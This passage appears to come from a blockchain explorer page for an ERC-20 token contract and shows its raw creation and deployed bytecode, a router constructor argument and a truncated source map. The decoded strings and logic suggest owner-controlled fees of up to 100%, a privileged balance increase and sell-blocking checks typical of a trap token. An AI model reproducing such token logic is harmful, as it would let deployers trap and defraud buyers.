65b6009546109f390339061010090046001600160a01b03166110fc565b33600090815260046020526040812080546d629b8c891b267182b614000000009290610a20908490611c2b565b9091555050565b600954610a4390339061010090046001600160a01b03166110fc565b6001600160a01b03821660009081526012602052604090205481151560ff909116151503610a8c5760405162461bcd60e51b8152600401610a8390611c3e565b60405180910390fd5b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b600954610ad390339061010090046001600160a01b03166110fc565b60648211158015610ae5575060648111155b610b3d5760405162461bcd60e51b8152602060048201526024808201527f4665652070657263656e742063616e277420626520686967686572207468616e6044820152630203130360e41b6064820152608401610a83565b600f91909155601055565b610b50611560565b610b5a60006115c9565b565b600954610b7890339061010090046001600160a01b03166110fc565b6017805460ff19811660ff90911615179055565b600954610ba890339061010090046001600160a01b03166110fc565b6001600160a01b03821660009081526014602052604090205481151560ff909116151503610be85760405162461bcd60e51b8152600401610a8390611c3e565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b60606008805461083290611bdb565b600954610c3e90339061010090046001600160a01b03166110fc565b8060066000828254610c509190611c2b565b909155505050565b600954610c7490339061010090046001600160a01b03166110fc565b60005b82811015610ce55781600d6000868685818110610c9657610c96611c75565b9050602002016020810190610cab9190611aad565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610cdd81611c8b565b915050610c77565b50505050565b60003381610cf98286610dfb565b905083811015610d595760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a83565b61092a8286868403610fd8565b6000336108c38185856111df565b600954610d9090339061010090046001600160a01b03166110fc565b6001600160a01b03821660009081526016602052604090205481151560ff909116151503610dd05760405162461bcd60e51b8152600401610a8390611c3e565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b600954610e4290339061010090046001600160a01b03166110fc565b600980546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b610e72611560565b6001600160a01b038116610ed75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a83565b610ee0816115c9565b50565b600954610eff90339061010090046001600160a01b03166110fc565b600254610f179030906001600160a01b031683610fd8565b610f213082610d66565b506002546001600160a01b031663f305d71934308460008033610f46426104b0611c2b565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610fb3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ce59190611ca4565b6001600160a01b03831661103a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a83565b6001600160a01b03821661109b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a83565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b806001600160a01b0316826001600160a01b0316146111675760405162461bcd60e51b815260206004820152602160248201527f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c656044820152603960f91b6064820152608401610a83565b5050565b60006111778484610dfb565b90506000198114610ce557818110156111d25760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a83565b610ce58484848403610fd8565b6001600160a01b0383166112435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a83565b6001600160a01b0382166112a55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a83565b6112b0838383611619565b6001600160a01b038316600090815260046020526040902054818110156113285760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a83565b6001600160a01b03841660009081526012602052604090205460ff1615801561136a57506001600160a01b03831660009081526012602052604090205460ff16155b156114c75761137884611960565b156114ab57600061138b83600f5461198f565b90506113978383611cd2565b6001600160a01b0386166000908152600460205260409020556113ba8184611cd2565b6001600160a01b038516600090815260046020526040812080549091906113e2908490611c2b565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114208487611cd2565b60405190815260200160405180910390a36011546001600160a01b03166000908152600460205260408120805483929061145b908490611c2b565b90915550506011546040518281526001600160a01b03918216918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350610ce5565b6114b483611960565b156114c757600061138b8360105461198f565b6114d18282611cd2565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290611507908490611c2b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155391815260200190565b60405180910390a3610ce5565b336115736000546001600160a01b031690565b6001600160a01b031614610b5a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a83565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61162283611960565b15611670576001600160a01b0382166000908152600b60205260408120805483929061164f908490611c2b565b90915550506001600160a01b0382166000908152600a602052604090204290555b61167982611960565b156117cf576001600160a01b0383166000908152600d602052604090205460ff166117cf576001600160a01b0383166000908152600b60205260409020548111156117175760405162461bcd60e51b815260206004820152602860248201527f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60448201526720626f756768742160c01b6064820152608401610a83565b6001600160a01b0383166000908152600b60205260408120805483929061173f908490611cd2565b909155505060175460ff16156117c1576001600160a01b0383166000908152600a6020526040902054600c5461177591906119ae565b6117c15760405162461bcd60e51b815260206004820181905260248201527f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d656044820152606401610a83565b600e543a106117cf57600080fd5b601354158015906117e657506117e482611960565b155b801561180b57506001600160a01b03821660009081526014602052604090205460ff16155b801561183057506001600160a01b03831660009081526014602052604090205460ff16155b156118c35760135481611858846001600160a01b031660009081526004602052604090205490565b6118629190611c2b565b11156118c35760405162461bcd60e51b815260206004820152602a60248201527f416674657220746869732074786e20757365722077696c6c20657863656564206044820152691b585e081dd85b1b195d60b21b6064820152608401610a83565b6015541561195b576001600160a01b03831660009081526016602052604090205460ff1615801561190d57506001600160a01b03821660009081526016602052604090205460ff16155b1561195b5760155481111561195b5760405162461bcd60e51b815260206004820152601460248201527354786e20416d6f756e7420746f6f20686967682160601b6044820152606401610a83565b505050565b6003546000906001600160a01b03838116911614806108c95750506002546001600160a01b0390811691161490565b6000606461199d8385611ce5565b6119a79190611cfc565b9392505050565b6000426119bb8385611c2b565b10159392505050565b600060208083528351808285015260005b818110156119f1578581018301518582016040015282016119d5565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611a2957600080fd5b919050565b60008060408385031215611a4157600080fd5b611a4a83611a12565b946020939093013593505050565b600060208284031215611a6a57600080fd5b5035919050565b600080600060608486031215611a8657600080fd5b611a8f84611a12565b9250611a9d60208501611a12565b9150604084013590509250925092565b600060208284031215611abf57600080fd5b6119a782611a12565b80358015158114611a2957600080fd5b60008060408385031215611aeb57600080fd5b611af483611a12565b9150611b0260208401611ac8565b90509250929050565b60008060408385031215611b1e57600080fd5b50508035926020909101359150565b600080600060408486031215611b4257600080fd5b833567ffffffffffffffff80821115611b5a57600080fd5b818601915086601f830112611b6e57600080fd5b813581811115611b7d57600080fd5b8760208260051b8501011115611b9257600080fd5b602092830195509350611ba89186019050611ac8565b90509250925092565b60008060408385031215611bc457600080fd5b611bcd83611a12565b9150611b0260208401611a12565b600181811c90821680611bef57607f821691505b602082108103611c0f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156108c9576108c9611c15565b6020808252601d908201527f5573657220616c72656164792068617665207468697320737461747573000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611c9d57611c9d611c15565b5060010190565b600080600060608486031215611cb957600080fd5b8351925060208401519150604084015190509250925092565b818103818111156108c9576108c9611c15565b80820281158282048414176108c9576108c9611c15565b600082611d1957634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220317a1ab1a4ab7eac997841f4be75ac01f67921055cc0ad4149a2bcb91b8d623d64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106102515760003560e01c80638229c2e511610139578063a9059cbb116100b6578063e3bbb4f11161007a578063e3bbb4f114610785578063e4440a861461079b578063edd8b64a146107bb578063f2fde38b146107db578063f53d9d58146107fb578063f6d1dfe11461080e57600080fd5b8063a9059cbb146106da578063b179ce40146106fa578063d1a039f01461071a578063dd62ed3e14610750578063e1370dd31461077057600080fd5b806399b102b5116100fd57806399b102b5146106085780639e568dbc146106415780639f38a0d714610661578063a457c2d714610681578063a7e90f41146106a157600080fd5b80638229c2e51461055c57806385ecafd7146105715780638da5cb5b146105a15780638dd0f411146105d357806395d89b41146105f357600080fd5b806339509351116101d25780635342acb4116101965780635342acb4146104495780636994ee73146104825780636db79437146104b85780636dd3d39f146104d857806370a0823114610511578063715018a61461054757600080fd5b806339509351146103bc5780633975cae9146103dc5780634d474d42146103f45780634feeade4146104145780635337cc991461042957600080fd5b806323b872dd1161021957806323b872dd146103125780632df8bca914610332578063313ce5671461035a578063344d9e791461037c5780633816377e1461039c57600080fd5b806306fdde0314610256578063095ea7b31461028157806318160ddd146102b15780631c499ab0146102d0578063203e727e146102f2575b600080fd5b34801561026257600080fd5b5061026b610823565b60405161027891906119c4565b60405180910390f35b34801561028d57600080fd5b506102a161029c366004611a2e565b6108b5565b6040519015158152602001610278565b3480156102bd57600080fd5b506006545b604051908152602001610278565b3480156102dc57600080fd5b506102f06102eb366004611a58565b6108cf565b005b3480156102fe57600080fd5b506102f061030d366004611a58565b6108f0565b34801561031e57600080fd5b506102a161032d366004611a71565b610911565b34801561033e57600080fd5b50600f5460105460408051928352602083019190915201610278565b34801561036657600080fd5b5060095460405160ff9091168152602001610278565b34801561038857600080fd5b506102f0610397366004611a58565b610935565b3480156103a857600080fd5b506102f06103b7366004611a58565b610956565b3480156103c857600080fd5b506102a16103d7366004611a2e565b610977565b3480156103e857600080fd5b5060175460ff166102a1565b34801561040057600080fd5b506102f061040f366004611aad565b610999565b34801561042057600080fd5b506102f06109d7565b34801561043557600080fd5b506102f0610444366004611ad8565b610a27565b34801561045557600080fd5b506102a1610464366004611aad565b6001600160a01b031660009081526012602052604090205460ff1690565b34801561048e57600080fd5b506102c261049d366004611aad565b6001600160a01b03166000908152600a602052604090205490565b3480156104c457600080fd5b506102f06104d3366004611b0b565b610ab7565b3480156104e457600080fd5b506102a16104f3366004611aad565b6001600160a01b031660009081526014602052604090205460ff1690565b34801561051d57600080fd5b506102c261052c366004611aad565b6001600160a01b031660009081526004602052604090205490565b34801561055357600080fd5b506102f0610b48565b34801561056857600080fd5b506102f0610b5c565b34801561057d57600080fd5b506102a161058c366004611aad565b60126020526000908152604090205460ff1681565b3480156105ad57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610278565b3480156105df57600080fd5b506102f06105ee366004611ad8565b610b8c565b3480156105ff57600080fd5b5061026b610c13565b34801561061457600080fd5b506102a1610623366004611aad565b6001600160a01b031660009081526016602052604090205460ff1690565b34801561064d57600080fd5b506102f061065c366004611a58565b610c22565b34801561066d57600080fd5b506102f061067c366004611b2d565b610c58565b34801561068d57600080fd5b506102a161069c366004611a2e565b610ceb565b3480156106ad57600080fd5b506102a16106bc366004611aad565b6001600160a01b03166000908152600d602052604090205460ff1690565b3480156106e657600080fd5b506102a16106f5366004611a2e565b610d66565b34801561070657600080fd5b506102f0610715366004611ad8565b610d74565b34801561072657600080fd5b506102c2610735366004611aad565b6001600160a01b03166000908152600b602052604090205490565b34801561075c57600080fd5b506102c261076b366004611bb1565b610dfb565b34801561077c57600080fd5b506013546102c2565b34801561079157600080fd5b506102c2600e5481565b3480156107a757600080fd5b506011546105bb906001600160a01b031681565b3480156107c757600080fd5b506102f06107d6366004611aad565b610e26565b3480156107e757600080fd5b506102f06107f6366004611aad565b610e6a565b6102f0610809366004611a58565b610ee3565b34801561081a57600080fd5b506015546102c2565b60606007805461083290611bdb565b80601f016020809104026020016040519081016040528092919081815260200182805461085e90611bdb565b80156108ab5780601f10610880576101008083540402835291602001916108ab565b820191906000526020600020905b81548152906001019060200180831161088e57829003601f168201915b5050505050905090565b6000336108c3818585610fd8565b60019150505b92915050565b6009546108eb90339061010090046001600160a01b03166110fc565b601355565b60095461090c90339061010090046001600160a01b03166110fc565b601555565b60003361091f85828561116b565b61092a8585856111df565b506001949350505050565b60095461095190339061010090046001600160a01b03166110fc565b600c55565b60095461097290339061010090046001600160a01b03166110fc565b600e55565b6000336108c381858561098a8383610dfb565b6109949190611c2b565b610fd8565b6009546109b590339061010090046001600160a01b03166110fc565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6009546109f390339061010090046001600160a01b03166110fc565b33600090815260046020526040812080546d629b8c891b267182b614000000009290610a20908490611c2b565b9091555050565b600954610a4390339061010090046001600160a01b03166110fc565b6001600160a01b03821660009081526012602052604090205481151560ff909116151503610a8c5760405162461bcd60e51b8152600401610a8390611c3e565b60405180910390fd5b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b600954610ad390339061010090046001600160a01b03166110fc565b60648211158015610ae5575060648111155b610b3d5760405162461bcd60e51b8152602060048201526024808201527f4665652070657263656e742063616e277420626520686967686572207468616e6044820152630203130360e41b6064820152608401610a83565b600f91909155601055565b610b50611560565b610b5a60006115c9565b565b600954610b7890339061010090046001600160a01b03166110fc565b6017805460ff19811660ff90911615179055565b600954610ba890339061010090046001600160a01b03166110fc565b6001600160a01b03821660009081526014602052604090205481151560ff909116151503610be85760405162461bcd60e51b8152600401610a8390611c3e565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b60606008805461083290611bdb565b600954610c3e90339061010090046001600160a01b03166110fc565b8060066000828254610c509190611c2b565b909155505050565b600954610c7490339061010090046001600160a01b03166110fc565b60005b82811015610ce55781600d6000868685818110610c9657610c96611c75565b9050602002016020810190610cab9190611aad565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610cdd81611c8b565b915050610c77565b50505050565b60003381610cf98286610dfb565b905083811015610d595760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a83565b61092a8286868403610fd8565b6000336108c38185856111df565b600954610d9090339061010090046001600160a01b03166110fc565b6001600160a01b03821660009081526016602052604090205481151560ff909116151503610dd05760405162461bcd60e51b8152600401610a8390611c3e565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b600954610e4290339061010090046001600160a01b03166110fc565b600980546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b610e72611560565b6001600160a01b038116610ed75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a83565b610ee0816115c9565b50565b600954610eff90339061010090046001600160a01b03166110fc565b600254610f179030906001600160a01b031683610fd8565b610f213082610d66565b506002546001600160a01b031663f305d71934308460008033610f46426104b0611c2b565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610fb3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ce59190611ca4565b6001600160a01b03831661103a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a83565b6001600160a01b03821661109b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a83565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b806001600160a01b0316826001600160a01b0316146111675760405162461bcd60e51b815260206004820152602160248201527f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c656044820152603960f91b6064820152608401610a83565b5050565b60006111778484610dfb565b90506000198114610ce557818110156111d25760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a83565b610ce58484848403610fd8565b6001600160a01b0383166112435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a83565b6001600160a01b0382166112a55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a83565b6112b0838383611619565b6001600160a01b038316600090815260046020526040902054818110156113285760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a83565b6001600160a01b03841660009081526012602052604090205460ff1615801561136a57506001600160a01b03831660009081526012602052604090205460ff16155b156114c75761137884611960565b156114ab57600061138b83600f5461198f565b90506113978383611cd2565b6001600160a01b0386166000908152600460205260409020556113ba8184611cd2565b6001600160a01b038516600090815260046020526040812080549091906113e2908490611c2b565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114208487611cd2565b60405190815260200160405180910390a36011546001600160a01b03166000908152600460205260408120805483929061145b908490611c2b565b90915550506011546040518281526001600160a01b03918216918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350610ce5565b6114b483611960565b156114c757600061138b8360105461198f565b6114d18282611cd2565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290611507908490611c2b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155391815260200190565b60405180910390a3610ce5565b336115736000546001600160a01b031690565b6001600160a01b031614610b5a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a83565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61162283611960565b15611670576001600160a01b0382166000908152600b60205260408120805483929061164f908490611c2b565b90915550506001600160a01b0382166000908152600a602052604090204290555b61167982611960565b156117cf576001600160a01b0383166000908152600d602052604090205460ff166117cf576001600160a01b0383166000908152600b60205260409020548111156117175760405162461bcd60e51b815260206004820152602860248201527f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60448201526720626f756768742160c01b6064820152608401610a83565b6001600160a01b0383166000908152600b60205260408120805483929061173f908490611cd2565b909155505060175460ff16156117c1576001600160a01b0383166000908152600a6020526040902054600c5461177591906119ae565b6117c15760405162461bcd60e51b815260206004820181905260248201527f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d656044820152606401610a83565b600e543a106117cf57600080fd5b601354158015906117e657506117e482611960565b155b801561180b57506001600160a01b03821660009081526014602052604090205460ff16155b801561183057506001600160a01b03831660009081526014602052604090205460ff16155b156118c35760135481611858846001600160a01b031660009081526004602052604090205490565b6118629190611c2b565b11156118c35760405162461bcd60e51b815260206004820152602a60248201527f416674657220746869732074786e20757365722077696c6c20657863656564206044820152691b585e081dd85b1b195d60b21b6064820152608401610a83565b6015541561195b576001600160a01b03831660009081526016602052604090205460ff1615801561190d57506001600160a01b03821660009081526016602052604090205460ff16155b1561195b5760155481111561195b5760405162461bcd60e51b815260206004820152601460248201527354786e20416d6f756e7420746f6f20686967682160601b6044820152606401610a83565b505050565b6003546000906001600160a01b03838116911614806108c95750506002546001600160a01b0390811691161490565b6000606461199d8385611ce5565b6119a79190611cfc565b9392505050565b6000426119bb8385611c2b565b10159392505050565b600060208083528351808285015260005b818110156119f1578581018301518582016040015282016119d5565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611a2957600080fd5b919050565b60008060408385031215611a4157600080fd5b611a4a83611a12565b946020939093013593505050565b600060208284031215611a6a57600080fd5b5035919050565b600080600060608486031215611a8657600080fd5b611a8f84611a12565b9250611a9d60208501611a12565b9150604084013590509250925092565b600060208284031215611abf57600080fd5b6119a782611a12565b80358015158114611a2957600080fd5b60008060408385031215611aeb57600080fd5b611af483611a12565b9150611b0260208401611ac8565b90509250929050565b60008060408385031215611b1e57600080fd5b50508035926020909101359150565b600080600060408486031215611b4257600080fd5b833567ffffffffffffffff80821115611b5a57600080fd5b818601915086601f830112611b6e57600080fd5b813581811115611b7d57600080fd5b8760208260051b8501011115611b9257600080fd5b602092830195509350611ba89186019050611ac8565b90509250925092565b60008060408385031215611bc457600080fd5b611bcd83611a12565b9150611b0260208401611a12565b600181811c90821680611bef57607f821691505b602082108103611c0f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156108c9576108c9611c15565b6020808252601d908201527f5573657220616c72656164792068617665207468697320737461747573000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611c9d57611c9d611c15565b5060010190565b600080600060608486031215611cb957600080fd5b8351925060208401519150604084015190509250925092565b818103818111156108c9576108c9611c15565b80820281158282048414176108c9576108c9611c15565b600082611d1957634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220317a1ab1a4ab7eac997841f4be75ac01f67921055cc0ad4149a2bcb91b8d623d64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

4581:14957:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7047:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7957:199;;;;;;;;;;-1:-1:-1;7957:199:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;7957:199:0;1004:187:1;7348:108:0;;;;;;;;;;-1:-1:-1;7436:12:0;;7348:108;;;1342:25:1;;;1330:2;1315:18;7348:108:0;1196:177:1;18183:156:0;;;;;;;;;;-1:-1:-1;18183:156:0;;;;;:::i;:::-;;:::i;:::-;;18840:148;;;;;;;;;;-1:-1:-1;18840:148:0;;;;;:::i;:::-;;:::i;8164:293::-;;;;;;;;;;-1:-1:-1;8164:293:0;;;;;:::i;:::-;;:::i;17192:180::-;;;;;;;;;;-1:-1:-1;17348:6:0;;17356:7;;17192:180;;;2070:25:1;;;2126:2;2111:18;;2104:34;;;;2043:18;17192:180:0;1896:248:1;7249:91:0;;;;;;;;;;-1:-1:-1;7323:9:0;;7249:91;;7323:9;;;;2291:36:1;;2279:2;2264:18;7249:91:0;2149:184:1;14224:139:0;;;;;;;;;;-1:-1:-1;14224:139:0;;;;;:::i;:::-;;:::i;15224:157::-;;;;;;;;;;-1:-1:-1;15224:157:0;;;;;:::i;:::-;;:::i;8465:236::-;;;;;;;;;;-1:-1:-1;8465:236:0;;;;;:::i;:::-;;:::i;14121:95::-;;;;;;;;;;-1:-1:-1;14194:14:0;;;;14121:95;;16963:221;;;;;;;;;;-1:-1:-1;16963:221:0;;;;;:::i;:::-;;:::i;15665:150::-;;;;;;;;;;;;;:::i;16303:321::-;;;;;;;;;;-1:-1:-1;16303:321:0;;;;;:::i;:::-;;:::i;16121:173::-;;;;;;;;;;-1:-1:-1;16121:173:0;;;;;:::i;:::-;-1:-1:-1;;;;;16264:22:0;16184:4;16264:22;;;:15;:22;;;;;;;;;16121:173;14761:128;;;;;;;;;;-1:-1:-1;14761:128:0;;;;;:::i;:::-;-1:-1:-1;;;;;14857:24:0;14830:7;14857:24;;;:17;:24;;;;;;;14761:128;16632:323;;;;;;;;;;-1:-1:-1;16632:323:0;;;;;:::i;:::-;;:::i;18347:129::-;;;;;;;;;;-1:-1:-1;18347:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;18440:28:0;18416:4;18440:28;;;:21;:28;;;;;;;;;18347:129;7464:127;;;;;;;;;;-1:-1:-1;7464:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7565:18:0;7538:7;7565:18;;;:9;:18;;;;;;;7464:127;901:103;;;;;;;;;;;;;:::i;13959:154::-;;;;;;;;;;;;;:::i;5517:47::-;;;;;;;;;;-1:-1:-1;5517:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;668:87;;;;;;;;;;-1:-1:-1;714:7:0;741:6;-1:-1:-1;;;;;741:6:0;668:87;;;-1:-1:-1;;;;;3370:32:1;;;3352:51;;3340:2;3325:18;668:87:0;3206:203:1;18485:283:0;;;;;;;;;;-1:-1:-1;18485:283:0;;;;;:::i;:::-;;:::i;7146:95::-;;;;;;;;;;;;;:::i;19384:122::-;;;;;;;;;;-1:-1:-1;19384:122:0;;;;;:::i;:::-;-1:-1:-1;;;;;19473:25:0;19450:4;19473:25;;;:18;:25;;;;;;;;;19384:122;15453:139;;;;;;;;;;-1:-1:-1;15453:139:0;;;;;:::i;:::-;;:::i;14371:254::-;;;;;;;;;;-1:-1:-1;14371:254:0;;;;;:::i;:::-;;:::i;8709:434::-;;;;;;;;;;-1:-1:-1;8709:434:0;;;;;:::i;:::-;;:::i;14633:120::-;;;;;;;;;;-1:-1:-1;14633:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;14724:21:0;14700:4;14724:21;;;:14;:21;;;;;;;;;14633:120;7599:191;;;;;;;;;;-1:-1:-1;7599:191:0;;;;;:::i;:::-;;:::i;18996:274::-;;;;;;;;;;-1:-1:-1;18996:274:0;;;;;:::i;:::-;;:::i;14897:123::-;;;;;;;;;;-1:-1:-1;14897:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;14993:19:0;14966:7;14993:19;;;:12;:19;;;;;;;14897:123;7798:151;;;;;;;;;;-1:-1:-1;7798:151:0;;;;;:::i;:::-;;:::i;18082:93::-;;;;;;;;;;-1:-1:-1;18158:9:0;;18082:93;;5279:38;;;;;;;;;;;;;;;;5457:27;;;;;;;;;;-1:-1:-1;5457:27:0;;;;-1:-1:-1;;;;;5457:27:0;;;17900:139;;;;;;;;;;-1:-1:-1;17900:139:0;;;;;:::i;:::-;;:::i;1012:201::-;;;;;;;;;;-1:-1:-1;1012:201:0;;;;;:::i;:::-;;:::i;17431:461::-;;;;;;:::i;:::-;;:::i;19278:98::-;;;;;;;;;;-1:-1:-1;19356:12:0;;19278:98;;7047:91;7092:13;7125:5;7118:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7047:91;:::o;7957:199::-;8040:4;8073:10;8094:32;8073:10;8110:7;8119:6;8094:8;:32::i;:::-;8144:4;8137:11;;;7957:199;;;;;:::o;18183:156::-;18287:7;;18251:44;;18275:10;;18287:7;;;-1:-1:-1;;;;;18287:7:0;18251:23;:44::i;:::-;18306:9;:25;18183:156::o;18840:148::-;18939:7;;18903:44;;18927:10;;18939:7;;;-1:-1:-1;;;;;18939:7:0;18903:23;:44::i;:::-;18958:12;:22;18840:148::o;8164:293::-;8295:4;8330:10;8351:38;8367:4;8330:10;8382:6;8351:15;:38::i;:::-;8400:27;8410:4;8416:2;8420:6;8400:9;:27::i;:::-;-1:-1:-1;8445:4:0;;8164:293;-1:-1:-1;;;;8164:293:0:o;14224:139::-;14317:7;;14281:44;;14305:10;;14317:7;;;-1:-1:-1;;;;;14317:7:0;14281:23;:44::i;:::-;14336:8;:19;14224:139::o;15224:157::-;15326:7;;15290:44;;15314:10;;15326:7;;;-1:-1:-1;;;;;15326:7:0;15290:23;:44::i;:::-;15345:13;:28;15224:157::o;8465:236::-;8553:4;8586:10;8607:64;8586:10;8623:7;8660:10;8632:25;8586:10;8623:7;8632:9;:25::i;:::-;:38;;;;:::i;:::-;8607:8;:64::i;16963:221::-;17126:7;;17090:44;;17114:10;;17126:7;;;-1:-1:-1;;;;;17126:7:0;17090:23;:44::i;:::-;17145:12;:31;;-1:-1:-1;;;;;;17145:31:0;-1:-1:-1;;;;;17145:31:0;;;;;;;;;;16963:221::o;15665:150::-;15742:7;;15706:44;;15730:10;;15742:7;;;-1:-1:-1;;;;;15742:7:0;15706:23;:44::i;:::-;15771:10;15761:21;;;;:9;:21;;;;;